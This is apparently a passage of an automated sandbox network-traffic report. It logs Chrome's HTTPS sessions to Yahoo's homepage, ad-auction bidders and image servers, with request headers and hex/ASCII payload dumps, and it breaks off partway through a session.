2024-04-27 22:41:59 UTC	3922	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 67 61 6d 41 64 43 6f 64 65 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 2c 22 67 61 6d 4c 6f 63 22 3a 22 74 6f 70 5f 72 69 67 68 74 22 2c 22 63 6f 6c 6f 22 3a 22 62 66 31 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 75 22 3a 22 30 22 2c 22 70 74 22 3a 22 68 6f 6d 65 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 76 65 72 22 3a 22 6d 65 67 61 73 74 72 6d 22 7d 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":{"client":"pbjs","gamAdCode":"us_yhp_main_dt_top_right","gamLoc":"top_right","colo":"bf1","device":"desktop","lang":"en-US","lu":"0","pt":"home","region":"US","site":"fp","ver":"megastrm"},"storedrequest":{"id":"us_
2024-04-27 22:42:00 UTC	383	IN	HTTP/1.1 204 No Content Connection: close Server: nginx Content-Type: application/json;charset=utf-8 x-envoy-upstream-service-time: 279 Access-Control-Allow-Origin: https://www.yahoo.com Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:59 GMT Via: 1.1 varnish X-Served-By: cache-iad-kcgs7200034-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257720.692178,VS0,VE288

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	49964	3.233.167.98	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	697	OUT	POST /header/auction?lib=prebid&v=8.37.0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&tmax=2000&gdpr=false&us_privacy=1YNN HTTP/1.1 Host: tlx.3lift.com Connection: keep-alive Content-Length: 6770 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	6770	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 30 2c 22 74 61 67 69 64 22 3a 22 79 61 68 6f 6f 5f 68 70 5f 33 30 30 78 32 35 30 5f 70 62 22 2c 22 66 6c 6f 6f 72 22 3a 30 2e 32 33 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 7d 2c 22 66 70 64 22 3a 7b 22 63 6f 6e 74 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 67 61 6d 41 64 43 6f 64 65 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 2c 22 67 61 6d 4c 6f 63 22 3a 22 74 6f 70 5f 72 69 67 68 74 22 2c 22 63 6f 6c 6f 22 3a 22 62 66 31 22 2c 22 64 65 76 69 63 Data Ascii: {"imp":[{"id":0,"tagid":"yahoo_hp_300x250_pb","floor":0.23,"banner":{"format":[{"w":300,"h":250},{"w":300,"h":600}]},"fpd":{"context":{"prebid":{"passthrough":{"client":"pbjs","gamAdCode":"us_yhp_main_dt_top_right","gamLoc":"top_right","colo":"bf1","devic
2024-04-27 22:42:00 UTC	737	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 cache-control: no-cache, no-store, must-revalidate expires: Thu, 15 Oct 1992 20:10:00 GMT pragma: no-cache x-xss-protection: 0 p3p: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" access-control-allow-origin: https://www.yahoo.com access-control-allow-credentials: true set-cookie: receive-cookie-deprecation=1; Secure; HttpOnly; Path=/; Domain=.3lift.com; SameSite=None; Partitioned; Max-Age=7776000 set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:00 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None content-length: 19 connection: close
2024-04-27 22:42:00 UTC	19	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 5f 62 69 64 22 7d Data Ascii: {"status":"no_bid"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	49967	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	609	OUT	GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: GdL7iEpL3xoG5s85VJd61r5bNswqlsQdbdEaQbBkZUM9wGv9XrP6Zl0aWdoO6OzhYxRMTnut8xE= x-amz-request-id: SYY4P75452JAR9X5 Date: Mon, 22 Apr 2024 06:06:47 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "93dc53d369dca8f09877c3ecc9a41de3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1695 Referrer-Policy: no-referrer-when-downgrade Age: 491713 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-04-27 22:41:59 UTC	395	IN	Data Raw: 36 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 37 36 37 20 31 30 2e 34 37 36 4c 2e 38 36 36 20 32 33 2e 35 33 43 33 2e 31 39 39 20 33 30 2e 37 36 36 20 39 2e 39 38 38 20 33 36 20 31 38 20 33 36 63 39 2e 39 34 31 20 30 20 31 38 2d 38 2e 30 35 39 20 31 38 2d 31 38 6c 2d 31 31 2e 32 33 33 2d 37 2e 35 32 34 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 37 37 33 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 2f 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 20 Data Ascii: 6)"/> <path d="M24.767 10.476L.866 23.53C3.199 30.766 9.988 36 18 36c9.941 0 18-8.059 18-18l-11.233-7.524z" fill="url(#b)" opacity=".773" transform="translate(6 6)"/> <g transform="translate(6 6)"> <use fill="url(#c)" xlink:href="#d"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	49962	172.64.151.101	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	615	OUT	POST /openrtb/pbjs?s=1057986 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 3685 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	3685	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 33 35 38 36 63 30 30 66 35 34 66 31 62 38 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 6b 65 79 77 6f 72 64 73 22 3a 22 79 61 68 6f 6f 2c 79 61 68 6f 6f 68 6f 6d 65 70 61 67 65 2c 79 61 68 6f 6f 68 6f 6d 65 70 61 67 65 2c 79 61 68 6f 6f 73 65 61 72 63 68 2c 79 61 68 6f 6f 6d 61 69 6c 2c 79 61 68 6f 6f 6d 65 73 73 65 6e 67 65 72 2c 79 61 68 6f 6f 67 61 6d 65 73 2c 6e 65 77 73 2c 66 69 6e 61 6e 63 65 2c 73 70 6f 72 74 2c 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 79 61 68 6f 6f 2e 63 6f 6d 22 7d 7d 2c 22 65 78 74 22 3a Data Ascii: {"id":"13586c00f54f1b8","site":{"page":"https://www.yahoo.com/","domain":"yahoo.com","keywords":"yahoo,yahoohomepage,yahoohomepage,yahoosearch,yahoomail,yahoomessenger,yahoogames,news,finance,sport,entertainment","publisher":{"domain":"yahoo.com"}},"ext":
2024-04-27 22:41:59 UTC	887	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Type: application/json Content-Length: 37 Connection: close CF-Ray: 87b252bba9b73968-IAD CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:41:59 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cdLOCe0vQxO67xQCLNpyEESLvSpztViGlPaAF227H8fS8Mbh%2FFG78UXkf2wo0uuXkGS%2BMmL4ikw6nojayeAPt2791nV5wIdUEh9JVuve6jIaFfw5WkqILZpLgmdism343CBb%2B5Fx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-27 22:41:59 UTC	37	IN	Data Raw: 7b 22 69 64 22 3a 22 31 33 35 38 36 63 30 30 66 35 34 66 31 62 38 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"13586c00f54f1b8","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	49973	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	604	OUT	GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: 7krwqOUL26/xEd7V0FM8KxnCU+uvZPF77dSfY6YzIYsJrh4FEcq79pComolDOBM2F4PgGdd3PqU= x-amz-request-id: KHH1VCAS0PDJFDXM Date: Fri, 19 Apr 2024 00:13:51 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "03c10f2c4e36a75805f7735d1f07c98c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1650 Referrer-Policy: no-referrer-when-downgrade Age: 772089 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-04-27 22:41:59 UTC	350	IN	Data Raw: 35 39 20 31 38 20 31 38 20 31 38 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 61 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 20 34 32 63 36 2e 33 31 20 30 20 31 31 2e 38 36 32 2d 33 2e 32 34 37 20 31 35 2e 30 37 35 2d 38 2e 31 36 31 20 30 20 30 2d 39 2e 30 39 2d 33 2e 37 33 33 2d 31 37 2e 36 38 38 2d 37 2e 34 37 31 43 31 37 2e 31 30 33 20 33 32 2e 31 30 39 20 31 34 2e 30 35 39 20 34 32 20 32 34 20 34 32 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 36 38 37 22 2f 3e 0a 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 2e 30 35 22 20 66 69 6c 6c 3d 22 23 37 44 Data Ascii: 59 18 18 18z" fill="url(#a)"/> <path d="M24 42c6.31 0 11.862-3.247 15.075-8.161 0 0-9.09-3.733-17.688-7.471C17.103 32.109 14.059 42 24 42z" fill="url(#b)" opacity=".687"/> <use fill="url(#c)" xlink:href="#d"/> <use fill-opacity=".05" fill="#7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	49971	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	373	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	49970	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	373	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	49968	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	373	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	49969	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	373	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	49972	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	373	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	49966	207.65.37.179	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	626	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 3287 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	3287	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 31 34 32 35 37 37 31 37 39 39 36 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 33 32 62 30 38 31 65 62 61 35 35 66 64 33 38 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 32 39 38 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 32 33 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 61 64 73 65 72 76 65 72 22 3a 7b 22 6e 61 6d 65 22 3a 22 67 61 6d 22 2c 22 61 64 73 6c 6f 74 22 3a 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 2f 6d 61 69 6e 2f 64 74 2f 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 2c 22 70 62 61 64 73 6c 6f 74 22 3a 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 Data Ascii: {"id":"1714257717996","at":1,"cur":["USD"],"imp":[{"id":"32b081eba55fd38","tagid":"5537298","bidfloor":0.23,"secure":1,"ext":{"data":{"adserver":{"name":"gam","adslot":"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_right"},"pbadslot":"/22888152279/us/yhp
2024-04-27 22:41:59 UTC	227	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache, no-store, must-revalidate Date: Sat, 27 Apr 2024 22:41:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	49974	34.120.63.153	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	613	OUT	POST /rtb/prebid?cid=8CU2K123F HTTP/1.1 Host: prebid.media.net Connection: keep-alive Content-Length: 5844 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
